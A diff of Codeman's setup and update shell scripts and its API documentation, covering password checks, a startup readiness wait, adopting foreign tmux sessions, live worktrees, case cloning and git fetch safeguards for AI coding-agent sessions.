docker_socket=$(compose_env_value DOCKER_SOCKET)
codeman_port=$(compose_env_value CODEMAN_PORT)
codeman_username=$(compose_env_value CODEMAN_USERNAME)
codeman_password=$(compose_env_value CODEMAN_PASSWORD)
# The container publishes its port on every interface and holds the host's
# Docker socket, so whoever signs in to Codeman can run anything on this host.
# The example's placeholder is a published password: refuse it outright.
if [[ "$codeman_password" == 'changeme' ]]; then
printf 'Error: CODEMAN_PASSWORD is still the example value "changeme".\n' >&2
printf 'Codeman is reachable from your network and controls Docker on this machine, so\n' >&2
printf 'set a real password in %s, then rerun this script.\n' "$env_file" >&2
exit 1
fi
if [[ -z "$codeman_password" ]]; then
printf 'Warning: CODEMAN_PASSWORD is empty, so anyone who can reach port %s can use Codeman,\n' "${codeman_port:-?}" >&2
printf 'which controls Docker on this machine. Set one in %s unless something in front of it\n' "$env_file" >&2
printf 'already asks for a login.\n' >&2
fi
unset codeman_password
if [[ -z "$appdata_path" ]]; then
printf 'Error: CODEMAN_APPDATA_PATH is not set in %s\n' "$env_file" >&2
@@ -56,7 +554,11 @@ if [[ ! -d "$appdata_path" ]]; then
printf 'Create it as the unprivileged account that should run Codeman, then retry.\n' >&2
exit 1
fi
mkdir -p -- "$appdata_path"
if ! mkdir -p -- "$appdata_path"; then
printf 'Error: cannot create CODEMAN_APPDATA_PATH: %s\n' "$appdata_path" >&2
printf 'Create it as the account that should run Codeman, or pick another folder in %s.\n' "$env_file" >&2
exit 1
fi
fi
if [[ -z "$cases_path" ]]; then
@@ -114,6 +616,7 @@ fi
if [[ -z "$docker_socket" || ! -S "$docker_socket" ]]; then
printf 'Error: DOCKER_SOCKET is not a Unix socket: %s\n' "${docker_socket:-<unset>}" >&2
printf 'Set DOCKER_SOCKET in %s to the socket your Docker daemon listens on.\n' "$env_file" >&2
exit 1
fi
@@ -209,6 +712,148 @@ else
printf 'Warning: no sha256 tool found; in-app updates will not detect environment changes.\n' >&2
fi
# ── Start, then wait until Codeman answers ──────────────────────────────────
# `up -d` returns as soon as the container exists, which says nothing about the
# server inside it. The wait asks the server itself through `docker exec` (the
# same request as the compose healthcheck, which first runs only after its 30 s
# interval), notices a crash loop by the restart count moving, and ends on the
# URL to open. Docker's own view works with any network setup, macvlan included.
logs_hint="cd $(printf '%q' "$script_dir") && docker compose logs -f codeman"
# Docker's own output above says what broke; this adds the next step. A first
# build fetches hundreds of packages, so a network hiccup is the usual cause of
# a failed build, and a rerun picks up from Docker's layer cache.
compose_failed() {
printf '\nError: `docker compose %s` failed (see the output above).\n' "$1" >&2
case "$1" in
build)
printf 'A network hiccup while building is the usual cause; rerunning this script\n' >&2
printf 'resumes from Docker'"'"'s cache.\n' >&2
;;
*--build*)
printf 'If it stopped while building the image, a network hiccup is the usual cause,\n' >&2
printf 'and rerunning this script resumes from Docker'"'"'s cache.\n' >&2
;;
esac
exit 1
}
lan_ip() {
local ip=''
if [[ "$(uname -s)" == 'Darwin' ]]; then
ip=$(ipconfig getifaddr en0 2>/dev/null || ipconfig getifaddr en1 2>/dev/null) || ip=''
else
# The address the default route leaves from: the first one `hostname -I`
# lists is often docker0 or a VPN interface.
ip=$(ip -4 route get 1.1.1.1 2>/dev/null | sed -n 's/.* src \([0-9.]*\).*/\1/p') || ip=''
ip=${ip%%$'\n'*}
if [[ -z "$ip" ]]; then
ip=$(hostname -I 2>/dev/null) || ip=''
ip=${ip%% *}
fi
fi
printf '%s' "$ip"
}
print_access_summary() {
local cid=$1 published host_port bind_host lan addresses dir_q
dir_q=$(printf '%q' "$script_dir")
published=$("${compose_command[@]}" port codeman "$codeman_port" 2>/dev/null) || published=''
published=${published%%$'\n'*}
printf '\n'
if [[ -n "$published" ]]; then
host_port=${published##*:}
bind_host=${published%:*}
printf ' Open http://localhost:%s\n' "$host_port"
case "$bind_host" in
127.0.0.1 | '[::1]' | ::1) ;;
*)
lan=$(lan_ip)
if [[ -n "$lan" ]]; then
printf ' http://%s:%s (from other devices on your network)\n' "$lan" "$host_port"
fi
;;
esac
else
addresses=$(docker inspect --format '{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' "$cid" 2>/dev/null) || addresses=''
printf ' Open http://<container address>:%s (no host port is published; container addresses: %s)\n' \
"$codeman_port" "${addresses:-unknown}"
fi
printf ' Sign in %s, with the CODEMAN_PASSWORD from %s\n' "${codeman_username:-admin}" "$env_file"
if [[ -n "$generated_password" && -t 1 ]]; then
printf ' Password %s (generated on this first run)\n' "$generated_password"
fi
if [[ "$first_run" == '1' ]]; then
printf '\n Next: start a session from the dashboard and log its CLI in once. Logins are\n'
printf ' kept in %s, so they survive rebuilds.\n' "$appdata_path"
fi
printf '\n'
printf ' Logs cd %s && docker compose logs -f codeman\n' "$dir_q"
printf ' Stop cd %s && docker compose down\n' "$dir_q"
printf ' Update App Settings > Updates in the dashboard, or git pull and rerun this script\n'
}
report_when_ready() {
local cid state status health restarts first_restarts='' waited=0 limit=180 probe dots=0
cid=$("${compose_command[@]}" ps -q codeman 2>/dev/null) || cid=''
cid=${cid%%$'\n'*}
if [[ -z "$cid" ]]; then
printf 'Error: Compose started no codeman container. Look at: %s\n' "$logs_hint" >&2
return 1
fi
if [[ "$no_wait" == '1' ]]; then
printf '\nCodeman is starting (--no-wait given, so not waiting for it).\n'
print_access_summary "$cid"
return 0
fi
if [[ -t 1 ]]; then
dots=1
fi
probe="fetch('http://127.0.0.1:${codeman_port}/api/status').then((r) => process.exit(r.status < 500 ? 0 : 1)).catch(() => process.exit(1))"
printf 'Waiting for Codeman to answer...'
while :; do
state=$(docker inspect --format '{{.State.Status}}|{{if .State.Health}}{{.State.Health.Status}}{{end}}|{{.RestartCount}}' "$cid" 2>/dev/null) || state='missing||0'
status=${state%%|*}
health=${state#*|}
health=${health%%|*}
restarts=${state##*|}
if [[ -z "$first_restarts" ]]; then
first_restarts=$restarts
fi
if [[ "$health" == 'healthy' ]] ||
{ [[ "$status" == 'running' ]] && docker exec "$cid" node -e "$probe" >/dev/null 2>&1; }; then
printf ' ready.\n'
print_access_summary "$cid"
return 0
fi
if [[ "$status" == 'exited' || "$status" == 'dead' || "$status" == 'missing' || "$status" == 'restarting' ||
"$health" == 'unhealthy' || "$restarts" != "$first_restarts" ]]; then
printf '\n'
printf 'Error: Codeman did not come up (container %s). Its last log lines:\n\n' "${status:-unknown}" >&2
"${compose_command[@]}" logs --tail 40 codeman >&2 || true
printf '\nFollow the full log with: %s\n' "$logs_hint" >&2
return 1
fi
if ((waited >= limit)); then
printf '\n'
printf 'Warning: Codeman has not answered after %s seconds. It may still be starting;\n' "$limit" >&2
printf 'follow it with: %s\n' "$logs_hint" >&2
return 1
fi
if ((dots)); then
printf '.'
fi
sleep 2
waited=$((waited + 2))
done
}
if [[ "$first_run" == '1' ]]; then
printf 'Building the image. The first build downloads and compiles everything and takes a\n'
printf 'few minutes; later starts reuse most of it.\n'
fi
# codeman-node-modules and codeman-dist (docker-compose.yaml) are seeded from
# the image only while EMPTY, so a rebuilt image's fresh output sits unused
# behind old volume content until something clears it. The in-app self-updater
@@ -235,7 +880,9 @@ if [[ -n "$dockerfile_sha" ]]; then
fi
if [[ ${#volumes_to_refresh[@]} -eq 0 ]]; then
exec "${compose_command[@]}" up --build -d
"${compose_command[@]}" up --build -d || compose_failed 'up --build'
report_when_ready || exit 1
exit 0
fi
# Runs even on this script's very first invocation against an EXISTING
@@ -247,7 +894,7 @@ printf 'Source changed since the last start; refreshing: %s\n' "${volumes_to_ref
# Build BEFORE taking the stack down: the image build is the slow part and needs
# no container stopped, so the deployment is offline only for the recreate.
"${compose_command[@]}" build
"${compose_command[@]}" build || compose_failed build
# `com.docker.compose.volume` is the volume KEY, not a project-qualified name -
# a second stack on the same host (a beta instance started with a different
@@ -306,4 +953,5 @@ fi
# Already built above, so no --build here: a second build would only re-check
# the cache.
exec "${compose_command[@]}" up -d
"${compose_command[@]}" up -d || compose_failed up
report_when_ready || exit 1
+19 -2
View File
@@ -166,10 +166,11 @@ fi
# appdata directory (which creates it): this script updates an EXISTING
# deployment, so a missing appdata path means there is nothing here yet to
# update, and creating one would just be this script quietly doing
# Start-Codeman.sh's first-run job worse.
# Start-Codeman.sh's first-run job worse. No early `exit` in awk: a closed pipe
# would end this script through pipefail, with no message.
appdata_path=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "CODEMAN_APPDATA_PATH" { sub(/^[^=]*=/, ""); print; exit }'
awk -F= '$1 == "CODEMAN_APPDATA_PATH" && !found { sub(/^[^=]*=/, ""); print; found = 1 }'
)
if [[ -z "$appdata_path" || ! -d "$appdata_path" ]]; then
printf 'Error: CODEMAN_APPDATA_PATH is not set or does not exist: %s\n' "${appdata_path:-<unset>}" >&2
@@ -177,6 +178,22 @@ if [[ -z "$appdata_path" || ! -d "$appdata_path" ]]; then
exit 1
fi
# Start-Codeman.sh refuses to start while the password is still the example's
# `changeme`. Checked here too, BEFORE the build and the `down` below: found
# only at the handoff, that refusal would leave the stack this script just
# stopped down. No early `exit` in awk, so printf never meets a closed pipe.
codeman_password=$(
"${compose_command[@]}" config --environment |
awk -F= '$1 == "CODEMAN_PASSWORD" && !found { sub(/^[^=]*=/, ""); print; found = 1 }'
)
if [[ "$codeman_password" == 'changeme' ]]; then
printf 'Error: CODEMAN_PASSWORD is still the example value "changeme".\n' >&2
printf 'Codeman is reachable from your network and controls Docker on this machine, so\n' >&2
printf 'set a real password in %s, then rerun this script. Nothing was stopped.\n' "$env_file" >&2
exit 1
fi
unset codeman_password
# `stat -c` is GNU, `stat -f` is BSD/macOS; the bind source lives on the Docker
# host, so both need to work. Identical to Start-Codeman.sh's own helper.
owner_of() {
+162 -14
View File
@@ -287,7 +287,8 @@ long turn, but a worker that never comes back is far more likely to be working t
blocked, and polling `blocked` alone will sit at its timeout.
**`blocked` on `codex` is read off the screen**, because codex has no hooks and is
launched with its approvals on unless `codexConfig.dangerouslyBypassApprovals` is set.
launched with its approvals on unless `codexConfig.dangerouslyBypassApprovals` is set
(`codexConfig.networkAccess` opens the sandbox's network and does not change that).
A codex pane showing a command, edit or network approval, a question (`request_user_input`)
or the startup trust prompt raises `blocked` (plus the red alert, push and webhook a Claude
`permission_prompt` raises, alert-only: answer it in the terminal), and the session reads
@@ -905,10 +906,10 @@ html and svg are the ones deliberately kept out.
`POST /api/filesystem/mkdir` with `{ path, name, sessionId?, showHidden? }` makes one
folder directly inside `path`, which must be a folder the path picker may browse, and
answers `{ path }`. `name` is one path segment (letters, numbers, spaces and `_ - . ~`, not
starting with a dot or `~`). `400` for a cases folder (use Add Case → New Case) or a `path`
that is not a directory, `403` for a blocked tree or a `path` outside the browse roots,
`404` for a `path` that does not exist, `409` when the folder already exists, and `422`
when the mount under `path` does not answer.
starting with a dot or `~`). `400` for a cases folder (use Add Case → Create New or Clone
Repo with no custom folder) or a `path` that is not a directory, `403` for a blocked tree
or a `path` outside the browse roots, `404` for a `path` that does not exist, `409` when
the folder already exists, and `422` when the mount under `path` does not answer.
## Rendered HTML files
@@ -986,11 +987,49 @@ the directory the session's local tmux pane is in now (`#{pane_current_path}`),
the web UI uses as the base for a relative path printed in the terminal. It is
never restored after a restart (it is written to `state.json` with the rest of the
session state but not read back), absent for remote,
Docker, direct-PTY and rediscovered sessions and for a session split into several panes,
Docker, adopted, direct-PTY and rediscovered sessions and for a session split into several panes,
and never a confinement root: file routes stay confined to `workingDir`.
tmux reports the resolved directory, so for a workspace reached through a symlink a
directory at or under the resolved workspace is reported in `workingDir`'s spelling.
## Live worktree (`liveWorktree`)
Session state (`GET /api/v1/sessions`, the `session:updated` event) may carry `liveWorktree`,
the linked git worktree the session's pane is in now, for example after Claude Code's
EnterWorktree moved the running session:
```json
"liveWorktree": { "name": "feature-a", "path": "/home/me/repo/.claude/worktrees/feature-a" }
```
It is derived from `paneCwd`, so it is absent wherever that is, and it is only ever a folder
strictly below `workingDir`: a worktree elsewhere is never reported. `path` is in `workingDir`'s
spelling. Like `paneCwd` it is never restored after a restart and never a confinement root.
`GET /api/v1/sessions/:id/files` takes an optional `root=live`, which starts the listing, or a
`q` search, at that worktree instead of at `workingDir`. The response's `root` names the folder
that was walked: it stays `workingDir` when the session is in no worktree, when the worktree has
gone, and when the folder no longer resolves inside `workingDir`. A `path` in the response stays
relative to `workingDir` either way, so it works unchanged on `file-content` and `file-raw`,
while a `q` containing `/` is matched against paths relative to the folder walked. The response
also carries `worktree`, the same `{ name, path }`, whenever the session has a `liveWorktree`,
whichever folder was walked and with or without `root=live`.
The walk lists at most 5,000 files and folders and opens no more folders once it has read 250,000
directory entries (the folder that crosses that line is read whole). It sets `truncated` when it
stops with anything left, which includes a folder it never opened, even if that folder would have
turned out to be empty. It is a per-directory round-robin (breadth-first): each folder found so far
gets an equal share of what is left before any of them gets more, and a folder's own files count
as one more share beside the subfolders it has just found, so one huge folder cannot use up the
listing limit before its later siblings or its own subfolders are read, and the `matches` of a `q`
search come back shallow-first. A folder made of thousands of small subfolders can still use most
of the limit one level down, and folders that add up to the read limit can leave later ones
unread. A folder below the start of the walk that does not answer a bounded probe (a mount that
stopped responding) is not read either, and counts as left over the same way. In the tree, a
directory node the walk stopped short of for either reason also carries `incomplete: true`: its
`children` hold what was listed before it stopped, which can be nothing. The key is absent on every
other node.
## Session model (`displayModel`)
Session state (`GET /api/v1/sessions`, the `session:updated` event) carries the model a
@@ -1085,6 +1124,80 @@ the caller's case space, a linked case's exact path, or a Claude worktree of eit
session, the create response carries `tabLayout` as it does for `tabGroupId`. Deleting the
case forgets the value; existing sessions never move.
## Adopting a foreign tmux session
A tmux session someone started by hand (`tmux new -s work`) lives on its own socket,
where Codeman does not look for its own sessions. These two routes list such sessions
and open one as a tab. Admin-only in multi-user mode (403), since the list shows other
people's processes and adopting a shell is arbitrary execution as the server account.
`GET /api/v1/mux/foreign` lists candidates. Local sessions are always scanned, and
cached for 5 s. `?docker=1` and `?remote=1` add the containers behind the saved Docker
cases and the saved ssh hosts, one `docker exec` or ssh connection per target, so the
browser sends them only on an explicit scan. `?force=1` skips the local cache.
```json
{
"sessions": [
{
"id": "fa9b76d36",
"location": "local",
"socketPath": "/tmp/tmux-1000/default",
"sessionName": "work",
"windows": 1,
"attached": false,
"createdAt": 1793931275000,
"mode": "claude",
"command": "claude",
"workingDir": "/home/me/project",
"adoptedBy": "961d0a82-6888-425d-a3ee-dab38ecbb598"
}
],
"scannedAt": 1793931277916,
"notes": ["remote Build box: unreachable, or no tmux"],
"pollIntervalMs": 8000,
"canScanWide": true
}
```
`hostId`, `hostLabel` and `containerName` appear on a docker or remote candidate.
`adoptedBy` names the session already wrapping that target. `notes` says why a location
gave nothing, each opening with where it came from (`local`, `docker <name>`,
`remote <label>`). A session whose name or socket path holds characters Codeman will not
pass to a shell, or whose name tmux reads as a target rather than a name (one starting
with `=`, `@` or `%`, or a bare `~`), is skipped and counted in a note. A tmux server that
does not answer within 2 seconds costs only its own rows and gets a note, and a scan cut
short keeps the rows it read and says so in one. Sessions on a Codeman socket never appear,
and neither does a session named `codeman-*` or `claudeman-*` on any other socket, with no note.
`POST /api/v1/sessions/adopt` wraps one, with `{ "id": "...", "docker": true, "remote":
true }` (the two flags must match the listing the id came from; `name` and
`parentSessionId` are optional). The body carries only that opaque id: the target is
re-resolved by a fresh scan, so a candidate that is gone answers `404`, and one on a
location unreachable this time answers `404` saying so.
The answer is `{ "session": SessionState, "adopted": true }`, or
`{ "session": SessionState, "alreadyAdopted": true }` when the target already has a
wrapper. A second adopt of a target whose wrapper is still being created is
`SESSION_BUSY`. The session has `adopt` set and `pid: null`: start it like any other,
`POST .../shell` for `mode: "shell"` and `POST .../interactive` for the rest. `mode`
comes from the pane's process tree.
Closing the session detaches. The foreign session keeps running, and only Codeman's
wrapper and its grouped `codeman-view-<id>` session go, so `DELETE` removes nothing that
belongs to someone else. Codeman did not start this agent, so these refuse an adopted
session: respawn, Ralph (its config and the `fix-plan/write`, `fix-plan/read` and
`ralph-prompt/write` file routes), one-shot `POST .../run`, auto-clear, auto-compact,
auto-resume, custom model endpoints, prompt uploads and the image watcher. `stop` waits
are a 400, and so are `blocked` waits unless Codeman reads that CLI's dialogs off its
screen (codex), `git-status`, `git-fetch` and Edit history (`.../edits`) answer
`unsupported` with `reason: "adopted"`, `git-diff` and `git-fetch-settings` answer
`400 INVALID_INPUT`, and `last-response` answers empty, since Codeman knows no transcript
for it. Its `paneExit`
stays absent, because the pane holds a `tmux attach` and not the agent. Reboot restore
does not rebuild one. A wrapper that cannot start answers `OPERATION_FAILED` and leaves
the tab to be tried again: Codeman never starts a local process in its place.
## Approvals Inbox
Cross-session queue of prompts waiting on a human (permission dialogs,
@@ -1358,9 +1471,9 @@ The target is judged before anything is written:
- The folder must not exist, or must be an **empty** directory; a folder with contents is Link Existing's job: `409 ALREADY_EXISTS`. A symlink or a plain file at the target is `400`.
- `409 ALREADY_EXISTS` also for a case name already in use (in the cases dir or the registry) and for a folder that is already a case.
Admin only in multi-user mode (`403`), like `POST /api/cases/link`: it writes outside the cases directory and into the shared, ownerless registry. If anything fails after the first write, what this call created is removed (the whole folder if it created it, otherwise only the scaffold inside the empty folder you picked) and the response is `500`.
Admin only in multi-user mode (`403`), like `POST /api/cases/link`: it writes outside the cases directory and into the shared, ownerless registry. If anything fails after the first write, what this call created is removed (the whole folder if it created it, otherwise only the scaffold inside the empty folder you picked) and the response is `500`, or `409 ALREADY_EXISTS` when the name was linked meanwhile, or `409 CONFLICT` when `linked-cases.json` cannot be read or is not a JSON object. Such a file is refused and left as it is, because writing over it would unlink every other case; `POST /api/cases/link` refuses it the same way.
`POST /api/cases/clone` takes the same optional `path`, with `{ name, repository, ref?, shallow?, description?, path? }`. Without `path` the repository is cloned to `<cases dir>/<name>` as always. With `path` the repository is cloned **into that exact folder** (no `<name>` subfolder is added) and registered as a linked case, judged by the same rules as above: `400` for an invalid or blocked path (or a symlink or file at the target), `404` for a missing parent, `422` for an unreachable parent, and `409 ALREADY_EXISTS` for a folder that has files, a name already in use or a folder that is already a case. Admin only in multi-user mode (`403`). An existing empty folder is cloned into directly and is kept, emptied again, if the clone fails; a second clone into the same folder while one is running is refused with `409`. A destination at or inside a Docker case workspace is refused `400 INVALID_INPUT` (git would run the new repository's hooks and filters on the host, and a container can write there), and `503` when the Docker case list cannot be read. If the clone succeeds but the registry write fails (or the name was linked while git ran, which is `409`), the cloned folder is kept and the error names it: `500 OPERATION_FAILED`, then use Link Existing.
`POST /api/cases/clone` takes the same optional `path`, with `{ name, repository, ref?, shallow?, description?, path? }`. Without `path` the repository is cloned to `<cases dir>/<name>` as always. With `path` the repository is cloned **into that exact folder** (no `<name>` subfolder is added) and registered as a linked case, judged by the same rules as above: `400` for an invalid or blocked path (or a symlink or file at the target), `404` for a missing parent, `422` for an unreachable parent, and `409 ALREADY_EXISTS` for a folder that has files, a name already in use or a folder that is already a case. Admin only in multi-user mode (`403`). An existing empty folder is cloned into directly and is kept, emptied again, if the clone fails; a second clone into the same folder while one is running is refused with `409`. A destination at or inside a Docker case workspace is refused `400 INVALID_INPUT` (git would run the new repository's hooks and filters on the host, and a container can write there), and `503` when the Docker case list cannot be read. If the clone succeeds but the case cannot be registered, the cloned folder is kept and the error names it, then use Link Existing: `409 ALREADY_EXISTS` when the name was linked while git ran, `409 CONFLICT` when `linked-cases.json` is refused as above, and `500 OPERATION_FAILED` when the write itself fails.
## Git status
@@ -1382,23 +1495,23 @@ Both routes accept two optional query parameters, which the UI sends from its pe
- `state: 'ok'`: `repos[]`, each `{ name, path, status }` where `name` is the repository folder's name, `path` its root relative to the working directory, and `status` is:
`branch` (null when `detached`), `upstream`, `ahead`, `behind`, `hasRemote`, `counts` (`staged`, `unstaged`, `untracked`, `conflicted`, `uncommitted` = distinct paths, `stashes`), `files[]` (`path` relative to `repoRoot`, `origPath` for a rename, `index` and `worktree` status letters, `kind`: `staged` \| `unstaged` \| `untracked` \| `conflicted`; a file that is staged *and* modified again appears once per kind), `filesTruncated`, `unpushedCount` (exact) and `unpushed[]` (newest first: `hash`, `author`, `time` in epoch seconds, `subject`), `repoRoot`, `checkedAt`.
- `state: 'not-a-repo'`: no repository here, above (that counts) or within two levels below.
- `state: 'unsupported'` with `reason: 'remote' | 'docker'`: those sessions are never inspected (a Docker workspace is writable from inside its sandbox, and git here would run on the host).
- `state: 'unsupported'` with `reason: 'remote' | 'docker' | 'adopted'`: those sessions are never inspected (a Docker workspace is writable from inside its sandbox, and git here would run on the host; an adopted session's `workingDir` is a neutral `/tmp`, not its workspace).
- `state: 'error'` with a short `error` (git missing, timed out, or git's first stderr line with any `user:token@` credentials redacted).
Lists are capped (300 files and 50 commits per repository) while the counts stay exact. A branch with no upstream reports the commits no remote has (`HEAD --not --remotes`); a repository with no remote reports `unpushedCount: 0`, since there is nothing to push to. Concurrent polls of one folder share a single git invocation; `?fresh=1` (what the panel's Refresh button and opening the panel send) skips the short-lived caches, though it still joins a computation already running.
`POST /api/sessions/:id/git-fetch` is the panel's **Fetch** button: one `git fetch --quiet` per repository the panel would show, through the same resolver so the two cannot disagree about which repositories belong to a workspace, with the same `maxRepos` and `timeout` clamps. It is the only git command the Git panel runs that writes (cloning and worktree management write too, but only when you asked for them at the moment you asked), and it writes remote-tracking refs only: nothing commits, checks out, merges or touches the working tree. It is not quite as harmless as a read: a fetch holds git's ref lock, so an agent's own `git pull` in the same clone can hit the same `cannot lock ref` while a fetch is running, which is why one folder is fetched by one run at a time. It runs on that click, or on the interval below and never otherwise, and `git fetch` is exactly the command that can run a repository's own hooks (`reference-transaction`, `pre-auto-gc` through the automatic maintenance a fetch triggers, and config commands such as `credential.helper`), which is why nothing runs on a timer until you opt in, and why a repository at or inside a Docker case workspace is refused before any git runs. Remote and Docker sessions answer `state: 'unsupported'` like the status route. Bounded: 4 repositories at a time across the whole run (one shared bound, not one per repository group; a scheduled tick keeps that one bound for all its folders, so 4 folders do not mean 4 × 4, and works at most 4 folders at a time), one spawn per repository with the same per-command timeout, which reaches the whole process group rather than only the `git` parent (a fetch over http spawns helper processes, and a timeout that signals the parent alone can leave one running after the answer goes out), `GIT_TERMINAL_PROMPT=0` plus BatchMode ssh so a repository that needs a login fails fast instead of hanging the request on an invisible prompt. Codeman supplies no credentials, so a repository your own git is already signed in to works because that is your existing setup. That BatchMode ssh is a default, never an override: your own `GIT_SSH_COMMAND` and the repository's `core.sshCommand` are honoured, and ⚠️ the default's `StrictHostKeyChecking=accept-new` records an unknown host key in `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write. A click joins a run already going for the same folder, and the click publishes the trigger of the run it actually did (`click` when the click was the run, `interval` when it joined a tick already going, because a click that fetched nothing cannot report itself as the fetch) as the session's `gitFetch` state (below), so another tab open on the same folder sees the same run.
`POST /api/sessions/:id/git-fetch` is the panel's **Fetch** button: one `git fetch --quiet` per repository the panel would show, through the same resolver so the two cannot disagree about which repositories belong to a workspace, with the same `maxRepos` and `timeout` clamps. It is the only git command the Git panel runs that writes (cloning and worktree management write too, but only when you asked for them at the moment you asked), and it writes remote-tracking refs only: nothing commits, checks out, merges or touches the working tree. It is not quite as harmless as a read: a fetch holds git's ref lock, so an agent's own `git pull` in the same clone can hit the same `cannot lock ref` while a fetch is running, which is why one folder is fetched by one run at a time. It runs on that click, or on the interval below and never otherwise, and `git fetch` is exactly the command that can run a repository's own hooks (`reference-transaction`, `pre-auto-gc` through the automatic maintenance a fetch triggers, and config commands such as `credential.helper`), which is why nothing runs on a timer until you opt in, and why a repository at or inside a Docker case workspace is refused before any git runs. Remote, Docker and adopted sessions answer `state: 'unsupported'` like the status route. Bounded: 4 repositories at a time across the whole run (one shared bound, not one per repository group; a scheduled tick keeps that one bound for all its folders, so 4 folders do not mean 4 × 4, and works at most 4 folders at a time), one spawn per repository with the same per-command timeout, which reaches the whole process group rather than only the `git` parent (a fetch over http spawns helper processes, and a timeout that signals the parent alone can leave one running after the answer goes out), `GIT_TERMINAL_PROMPT=0` plus BatchMode ssh so a repository that needs a login fails fast instead of hanging the request on an invisible prompt. Codeman supplies no credentials, so a repository your own git is already signed in to works because that is your existing setup. That BatchMode ssh is a default, never an override: your own `GIT_SSH_COMMAND` and the repository's `core.sshCommand` are honoured, and ⚠️ the default's `StrictHostKeyChecking=accept-new` records an unknown host key in `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write. A click joins a run already going for the same folder, and the click publishes the trigger of the run it actually did (`click` when the click was the run, `interval` when it joined a tick already going, because a click that fetched nothing cannot report itself as the fetch) as the session's `gitFetch` state (below), so another tab open on the same folder sees the same run.
`data` is `{ state, repos, reposTruncated, repoLimit, fetchedAt }`, `repos[]` each `{ name, path, ok }` and, when it failed, `failure` (`{ code, message, stderr }`: the codes as in the clone failures, plus `NO_REMOTE`). A repository that could not be fetched keeps its row rather than being dropped. The panel shows the result under its list and then re-reads, so `behind` reflects what this fetch brought.
The interval is two **synced** settings in `PUT /api/settings` (`src/git-fetch-scheduler.ts`): `gitFetchEnabled` (default `false`) and `gitFetchIntervalSeconds` (30 to 3600, default 300, the gap between runs timed from the start of a run so a slow repository does not push the next one out). Synced, not per-device, because the server is what acts on them; the scheduler reads them fresh on each 15 s tick, so a change works without a restart. A session can override both, and the override wins even while the app-wide switch is off: `POST /api/sessions/:id/git-fetch-settings` takes `{ "enabled": true | false | null, "intervalSeconds": number | null }` (`null` on a field clears that half so the app value applies again, a field left out of the body leaves the other half as it was), is `400 INVALID_INPUT` for a remote or Docker session, and answers `200` with `{ gitFetchSettings: { enabled, intervalSeconds } }` where `null` means the session follows the app. What the last run did rides the session state as `gitFetch` (`{ ranAt, trigger, state, repos, failed, firstFailure? }`, `trigger` is `click` or `interval`), on the existing `SessionUpdated` event: no new event. Sessions on the same folder share one run and both see its result, the schedule is keyed by folder, and a folder is fetched by at most one run at a time; a folder is due when ANY session open on it is due, so the order the sessions were read cannot decide which interval wins, and the folder is probed once for the whole group rather than once per session on it; every session open on a folder is remembered, so closing the one that holds the override does not stop that folder's fetching while another session is still open on it. The tick skips anything its bounded probe does not confirm is a directory, stamps each folder's schedule when it picks it, and does not run a second tick over a selection still going. Remote and Docker sessions are never fetched on a timer, and the Docker rule is re-checked against the CURRENT Docker roots every tick. Both fetch paths fail closed on a Docker case list (`docker-cases.json`) that exists but cannot be read or parsed: a click answers `200` with `state: 'error'` and publishes that as its `gitFetch`, and a tick fetches nothing and leaves its folders due for the next tick, since without the list nothing tells which folders a container can write to (the read-only status and diff routes keep reading such a list as no Docker workspaces).
The interval is two **synced** settings in `PUT /api/settings` (`src/git-fetch-scheduler.ts`): `gitFetchEnabled` (default `false`) and `gitFetchIntervalSeconds` (30 to 3600, default 300, the gap between runs timed from the start of a run so a slow repository does not push the next one out). Synced, not per-device, because the server is what acts on them; the scheduler reads them fresh on each 15 s tick, so a change works without a restart. A session can override both, and the override wins even while the app-wide switch is off: `POST /api/sessions/:id/git-fetch-settings` takes `{ "enabled": true | false | null, "intervalSeconds": number | null }` (`null` on a field clears that half so the app value applies again, a field left out of the body leaves the other half as it was), is `400 INVALID_INPUT` for a remote, Docker or adopted session, and answers `200` with `{ gitFetchSettings: { enabled, intervalSeconds } }` where `null` means the session follows the app. What the last run did rides the session state as `gitFetch` (`{ ranAt, trigger, state, repos, failed, firstFailure? }`, `trigger` is `click` or `interval`), on the existing `SessionUpdated` event: no new event. Sessions on the same folder share one run and both see its result, the schedule is keyed by folder, and a folder is fetched by at most one run at a time; a folder is due when ANY session open on it is due, so the order the sessions were read cannot decide which interval wins, and the folder is probed once for the whole group rather than once per session on it; every session open on a folder is remembered, so closing the one that holds the override does not stop that folder's fetching while another session is still open on it. The tick skips anything its bounded probe does not confirm is a directory, stamps each folder's schedule when it picks it, and does not run a second tick over a selection still going. Remote, Docker and adopted sessions are never fetched on a timer, and the Docker rule is re-checked against the CURRENT Docker roots every tick. Both fetch paths fail closed on a Docker case list (`docker-cases.json`) that exists but cannot be read or parsed: a click answers `200` with `state: 'error'` and publishes that as its `gitFetch`, and a tick fetches nothing and leaves its folders due for the next tick, since without the list nothing tells which folders a container can write to (the read-only status and diff routes keep reading such a list as no Docker workspaces).
## Edit history
What the Edit history panel reads (Settings → Header & Panels → Header, per-device, default off): the edits a **local claude session** made, main agent and subagents, read from its transcripts. Read-only. Every route resolves the session through `findSessionOrFail` (another user's session is `404`). Remote, Docker and non-claude sessions answer `state: 'unsupported'` and are never read.
What the Edit history panel reads (Settings → Header & Panels → Header, per-device, default off): the edits a **claude session** made (local or remote SSH), main agent and subagents, read from its transcripts. Read-only. Every route resolves the session through `findSessionOrFail` (another user's session is `404`). A remote session is read over ssh and never woken: a sleeping host answers `unavailable`. Docker, non-claude and adopted sessions answer `state: 'unsupported'` and are never read.
`GET /api/sessions/:id/edits[?sync=1]` lists the stored edits, newest first, without diffs: `{ state, reason?, backfillTruncated, agents, entries }`. With `sync=1` it first reads what the transcripts gained since the last read (after `/clear` or a resume, the previous conversation's transcripts to their end first); without it the server reads nothing. `state` is `ok`, `unavailable` (stored entries only; `reason` is `no-transcript` before the session has a transcript Codeman can find, `removed` while the session's history is being deleted, or the read error; the transcript is the one the session's hooks report, else the newest `<id>.jsonl` under the session's `CLAUDE_CONFIG_DIR` override or the server's config dir) or `unsupported` (`reason`: `remote`, `docker`, `mode`). Each entry is `{ id, ts, path, relPath, kind: 'code'|'image', tool, created, added, removed, truncated, agentId? }`, where `tool` is the edit tool, `bash` for an image a Bash call produced or `sent` for one the agent sent; `relPath` is relative to the workspace (a subagent's worktree for its edits). `agents` maps a subagent id to `{ description, agentType, worktreeBranch? }`. `backfillTruncated: true` means older edits can still be loaded.
